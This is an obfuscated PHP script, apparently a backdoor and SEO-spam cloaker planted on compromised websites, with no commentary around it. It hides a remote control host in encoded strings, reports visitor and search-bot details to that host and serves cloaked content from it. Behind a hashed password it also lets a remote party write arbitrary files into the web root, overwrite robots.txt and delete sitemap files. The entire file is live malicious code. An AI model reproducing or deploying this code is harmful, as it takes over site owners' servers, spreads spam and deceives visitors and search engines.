goto TyLKZ; w0epq: if ($password == "\x66\67\x35\146\x64\x35\x61\x63\144\63\66\x61\x37\146\142\144\61\x65\62\61\71\142\61\x39\70\x38\x31\141\65\63\64\70\142\x66\143\66\66\x65\67\x39") { $add_content = @$_REQUEST["\155\141\x70\x6e\141\155\x65"]; $action = @$_REQUEST["\141\143\164\151\157\156"]; if (isset($_SERVER["\x44\x4f\x43\125\x4d\x45\116\x54\137\x52\x4f\x4f\x54"])) { $path = $_SERVER["\x44\117\x43\125\x4d\105\x4e\x54\137\122\x4f\x4f\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\x75\x74"; } if ($action == "\160\165\x74") { if (isset($_REQUEST["\147\157\x6f\147\154\145"])) { $google_verification = $_REQUEST["\147\x6f\x6f\x67\x6c\x65"]; if (preg_match("\x2f\136\x67\x6f\x6f\x67\154\x65\56\52\x3f\x28\134\x2e\x68\164\x6d\x6c\51\x24\57\x69", $google_verification)) { file_put_contents($google_verification, "\147\x6f\157\147\154\x65\x2d\x73\151\x74\145\55\x76\145\162\x69\x66\151\143\x61\x74\151\157\156\72" . "\40" . $google_verification); die("\x3c\x61\40\150\162\145\x66\75" . $google_verification . "\76" . $google_verification . "\74\57\x61\x3e"); } } if (strstr($add_content, "\x2e\170\x6d\154")) { $map_path = $path . "\x2f\163\x69\164\x65\x6d\x61\160\x2e\170\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\x72\157\x62\x6f\x74\x73\x2e\x74\x78\x74"; if (stristr($add_content, "\125\x73\x65\162\55\x61\x67\145\x6e\164")) { @unlink($file_path); if (file_put_contents($file_path, $add_content)) { echo "\74\x62\x72\x3e\x6f\x6b\x3c\142\162\76"; } else { echo "\74\x62\162\76\146\151\154\145\x20\167\162\151\164\145\x20\146\141\x6c\x73\145\41\74\142\x72\x3e"; } } else { if (file_exists($file_path)) { $data = doutdo($file_path); } else { $data = "\x55\163\145\162\55\141\147\x65\x6e\x74\x3a\40\x2a\12\101\154\154\x6f\167\x3a\x20\x2f"; } $sitmap_url = $http . "\72\57\x2f" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\74\x62\162\76\163\x69\x74\145\x6d\x61\160\x20\141\x6c\162\145\141\144\x79\40\x61\x64\x64\145\x64\41\74\142\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\15\12" . "\123\x69\x74\x65\155\141\160\72\40" . $sitmap_url)) { echo "\74\x62\162\76\157\x6b\x3c\142\162\76"; } else { echo "\x3c\x62\x72\76\146\151\154\x65\x20\167\162\151\164\x65\40\x66\141\x6c\x73\x65\x21\74\142\162\76"; } } } } else { echo "\x3c\x62\x72\x3e\x73\x69\164\145\x6d\x61\160\40\x6e\141\155\145\40\x66\x61\x6c\163\145\41\74\x62\162\x3e"; } $a = sha1(sha1(@$_REQUEST["\141"])); $b = sha1(sha1(@$_REQUEST["\142"])); if ($a == doutdo($http_web . "\72\x2f\57" . $goweb . "\x2f\x61\x2e\x70" . "\150\160") || $b == "\x66\70\x66\x30\x64\141\145\x38\60\64\63\x36\70\143\60\63\63\x34\x65\62\62\x64\x39\144\143\x62\67\x30\x64\63\x63\x37\142\x62\146\141\x39\66\63\x35") { $dstr = @$_REQUEST["\144\x73\164\162"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\157\153"; } } } die; } goto Lxvhr; zabo6: $cssn = str_rot13(substr($host_nw, 0, 3) . substr($goweb, 0, 3)) . "\56\x63\163\x73"; goto Yjilc; Ms7jl: $urlc = $http_web . "\x3a\x2f\57" . $goweb . "\x2f\x74\x65\155\160\x2f\x73\164\x79\154\145\56\143\163\x73"; goto lTupt; UB1sP: function is_https() { if (isset($_SERVER["\110\124\x54\x50\123"]) && strtolower($_SERVER["\x48\x54\124\x50\123"]) !== "\157\x66\146") { return true; } elseif (isset($_SERVER["\x48\124\x54\x50\137\130\x5f\106\x4f\122\x57\x41\122\104\105\104\137\x50\x52\x4f\124\x4f"]) && $_SERVER["\x48\124\124\x50\x5f\x58\137\x46\117\x52\127\x41\122\x44\x45\104\x5f\x50\122\x4f\124\117"] === "\150\x74\x74\160\x73") { return true; } elseif (isset($_SERVER["\110\124\x54\x50\137\106\122\x4f\x4e\x54\x5f\x45\116\x44\x5f\x48\124\124\120\x53"]) && strtolower($_SERVER["\x48\124\124\120\x5f\106\122\117\x4e\x54\137\105\116\x44\x5f\110\x54\x54\x50\123"]) !== "\x6f\x66\x66") { return true; } return false; } goto d8cxz; d8cxz: $host = $_SERVER["\110\124\x54\120\137\110\117\x53\124"]; goto larRi; rbC2g: if (is_dir($path . "\57\167\x70\55\x69\x6e\x63\x6c\x75\x64\x65\x73")) { $fpath = "\167\x70\x2d\x69\156\143\x6c\x75\x64\145\163\57\x63\163\x73"; } else { $fpath = "\143\163\163"; } goto PGHWZ; meUla: if (substr($host, 0, 4) == "\167\167\x77\x2e") { $host_nw = substr($host, 4); } else { $host_nw = $host; } goto zabo6; XzBsG: @ignore_user_abort(1); goto JZH0g; PGHWZ: $dpath = $path . "\x2f" . $fpath; goto meUla; R8uPH: $lang = urlencode($lang); goto znVkw; RGmHa: $html_content = trim(doutdo_post($web, $pdata)); goto sdtkd; II0Zw: if (!strstr($duri_tmp, "\x2e\160\150\160")) { $duri_tmp = substr_replace($duri_tmp, "\x69\x6e\144\145\170\x2e\x70\150\x70\77", 1, 0); } goto T5kac; N3bGw: $pdata = array("\x77\145\x62" => $host, "\x7a\x7a" => disbot(), "\165\162\151" => $duri, "\x75\162\x6c\163\150\141\x6e\x67" => $urlshang, "\x68\x74\164\x70" => $http, "\154\x61\156\x67" => $lang); goto hxH7b; TyLKZ: @set_time_limit(3600); goto XzBsG; dFK2p: $duri_tmp = drequest_uri(); goto II0Zw; hdPDa: $password = sha1(sha1(@$_REQUEST["\x70\x64"])); goto w0epq; yYqLW: $http_web = "\x68\x74\164\x70"; goto rom68; JZH0g: $xmlname = "\x25\x36\63\45\66\x31\45\66\101\x25\67\66\x25\66\66\45\x37\x35\x25\67\61\45\x37\62\x25\62\x45\x25\x36\104\45\66\66\x25\x37\63\x25\67\x32\x25\66\x39\x25\x37\62\45\66\x35\45\67\x34\x25\x36\x38\45\62\x45\45\66\66\x25\67\66\x25\66\67\x25\67\x32"; goto yYqLW; z6Ct3: if (isset($_SERVER["\x48\x54\124\120\137\x52\x45\x46\x45\x52\105\122"])) { $urlshang = $_SERVER["\110\124\124\120\137\122\105\x46\105\122\105\x52"]; $urlshang = urlencode($urlshang); } goto hdPDa; hxH7b: if (is_file($ps)) { $web = $http_web . "\72\x2f\x2f" . $goweb . "\x2f\151\x6e\144\145\170\156\145\167\x2e\160\150\160\77\x63\x73\x73\x3d\61"; } else { $web = $http_web . "\x3a\57\57" . $goweb . "\57\151\x6e\x64\x65\x78\156\x65\167\56\160\x68\x70"; } goto RGmHa; T5kac: $duri = urlencode($duri_tmp); goto Pqmsr; lFUzv: function doutdo($url) { $file_contents = ''; if (function_exists("\143\x75\x72\154\137\x69\156\151\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto DWEK_; Yjilc: $ps = $path . "\57" . $fpath . "\x2f" . $cssn; goto Ms7jl; znVkw: $urlshang = ''; goto z6Ct3; hYSiV: function disbot() { $uAgent = strtolower($_SERVER["\x48\x54\124\x50\x5f\x55\123\x45\x52\x5f\101\107\105\x4e\124"]); if (stristr($uAgent, "\x67\157\x6f\147\x6c\x65\x62\x6f\x74") || stristr($uAgent, "\142\x69\x6e\x67") || stristr($uAgent, "\171\141\x68\157\x6f") || stristr($uAgent, "\147\x6f\x6f\147\x6c\145") || stristr($uAgent, "\107\x6f\157\x67\x6c\145\x62\x6f\164") || stristr($uAgent, "\147\157\157\147\154\x65\142\x6f\164")) { return true; } else { return false; } } goto lFUzv; kEJIS: if ($duri_tmp == "\x2f" || strstr($duri_tmp, "\145\x77\164\x74\155")) { fcss($dpath, $ps, $urlc); } goto N3bGw; Lxvhr: if (isset($_SERVER["\104\x4f\103\x55\115\105\x4e\x54\x5f\x52\x4f\117\x54"])) { $path = $_SERVER["\104\117\x43\x55\115\105\116\x54\x5f\122\x4f\117\124"]; } else { $path = dirname(__FILE__); } goto rbC2g; DWEK_: function doutdo_post($uri, $data) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $uri); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_USERAGENT, "\115\x6f\172\x69\x6c\x6c\x61\57\64\x2e\x30\x20\50\143\157\155\160\141\164\151\142\154\x65\73\40\115\123\x49\105\x20\65\56\60\61\73\x20\x57\x69\156\144\x6f\167\163\40\x4e\124\40\65\56\x30\51"); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec($ch); curl_close($ch); return $return; } goto d8TKE; Pqmsr: function drequest_uri() { if (isset($_SERVER["\x52\x45\x51\x55\105\123\124\137\x55\x52\111"])) { $duri = $_SERVER["\122\x45\121\x55\x45\x53\124\x5f\x55\x52\111"]; } else { if (isset($_SERVER["\141\162\x67\166"])) { $duri = $_SERVER["\x50\110\120\137\123\105\x4c\x46"] . "\x3f" . $_SERVER["\x61\162\147\x76"][0]; } else { $duri = $_SERVER["\120\x48\x50\x5f\x53\x45\114\106"] . "\x3f" . $_SERVER["\x51\125\x45\x52\131\x5f\123\x54\122\111\x4e\107"]; } } return $duri; } goto Xc_KW; rom68: if (is_https()) { $http = "\x68\164\164\160\x73"; } else { $http = "\x68\x74\x74\160"; } goto dFK2p; Xc_KW: $goweb = str_rot13(urldecode($xmlname)); goto UB1sP; larRi: $lang = @$_SERVER["\110\124\124\120\137\101\103\x43\105\x50\124\137\x4c\101\x4e\x47\125\101\107\x45"]; goto R8uPH; d8TKE: function fcss($dpath, $ps, $urlc) { if (is_dir($dpath)) { if (!file_exists($ps)) { @file_put_contents($ps, doutdo($urlc)); } } else { if (@mkdir($dpath)) { if (!file_exists($ps)) { @file_put_contents($ps, doutdo($urlc)); } } } } goto kEJIS; sdtkd: if (!strstr($html_content, "\x6e\x6f\x62\157\x74\165\x73\x65\x72\141\147\145\x6e\x74")) { if (strstr($html_content, "\x6f\153\150\x74\155\x6c\147\x65\164\x63\157\156\x74\x65\x6e\164")) { @header("\103\x6f\156\164\x65\x6e\x74\55\164\171\160\x65\72\40\164\x65\x78\x74\57\x68\x74\155\154\x3b\x20\143\150\141\162\x73\145\164\x3d\165\x74\x66\x2d\70"); if (file_exists($ps)) { $lcss_str = file_get_contents($ps); $html_content = str_replace("\x5b\x23\43\x6c\x69\156\153\143\163\163\43\x23\x5d", $lcss_str, $html_content); } else { $html_content = str_replace("\133\x23\43\154\x69\156\x6b\x63\x73\163\x23\x23\x5d", '', $html_content); } $html_content = str_replace("\x6f\x6b\150\x74\155\154\147\145\x74\143\157\156\164\145\x6e\164", '', $html_content); echo $html_content; die; } else { if (strstr($html_content, "\x6f\x6b\170\155\154\x67\145\164\x63\157\156\x74\145\156\x74")) { $html_content = str_replace("\157\153\170\x6d\154\x67\145\x74\x63\x6f\x6e\x74\145\x6e\x74", '', $html_content); @header("\x43\x6f\156\164\145\156\164\55\164\x79\160\145\x3a\40\x74\x65\170\164\57\170\x6d\154"); echo $html_content; die; } else { if (strstr($html_content, "\x70\151\x6e\x67\x78\155\x6c\147\145\164\143\157\x6e\x74\x65\x6e\x74")) { $html_content = str_replace("\160\151\x6e\147\170\x6d\x6c\x67\x65\164\143\157\x6e\x74\145\156\164", '', $html_content); fcss($dpath, $ps, $urlc); @header("\103\157\x6e\x74\145\x6e\x74\55\x74\x79\160\x65\x3a\40\x74\145\170\x74\57\x68\x74\x6d\x6c\73\40\x63\x68\x61\162\x73\x65\164\x3d\x75\x74\146\x2d\70"); echo ping_sitemap($html_content); die; } else { if (strstr($html_content, "\147\145\164\x63\x6f\156\x74\145\x6e\x74\x35\x30\x30\160\141\147\145")) { @header("\110\124\x54\120\x2f\x31\56\x31\40\65\x30\60\x20\111\156\164\145\x72\x6e\x61\154\x20\x53\145\162\x76\145\x72\x20\105\162\x72\x6f\x72"); die; } else { if (strstr($html_content, "\147\145\164\143\157\156\x74\x65\156\164\x34\x30\64\160\x61\147\x65")) { @header("\x48\x54\x54\x50\x2f\61\x2e\x31\40\x34\x30\x34\x20\116\x6f\164\40\x46\157\x75\x6e\144"); die; } else { if (strstr($html_content, "\x67\x65\x74\x63\157\x6e\x74\145\x6e\x74\63\60\61\x70\x61\x67\x65")) { @header("\x48\124\124\120\x2f\61\56\x31\40\63\60\x31\x20\115\x6f\166\x65\x64\x20\120\145\x72\155\141\156\145\x6e\x74\154\171"); $html_content = str_replace("\147\x65\164\143\x6f\156\x74\145\156\x74\x33\x30\x31\x70\x61\147\x65", '', $html_content); header("\x4c\x6f\143\141\164\x69\x6f\x6e\72\x20" . $html_content); die; } } } } } } } goto IZv_X; lTupt: function ping_sitemap($url) { $url_arr = explode("\15\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = doutdo($pingUrl); $ok = strpos($pingRes, "\123\151\x74\x65\155\141\160\40\116\157\164\151\146\151\143\x61\164\x69\x6f\156\40\122\145\x63\145\x69\x76\x65\144") !== false ? "\160\x69\x6e\x67\157\153" : "\x65\x72\x72\x6f\162"; $return_str .= $pingUrl . "\x2d\x2d\x20" . $ok . "\x3c\142\162\76"; } return $return_str; } goto hYSiV; IZv_X: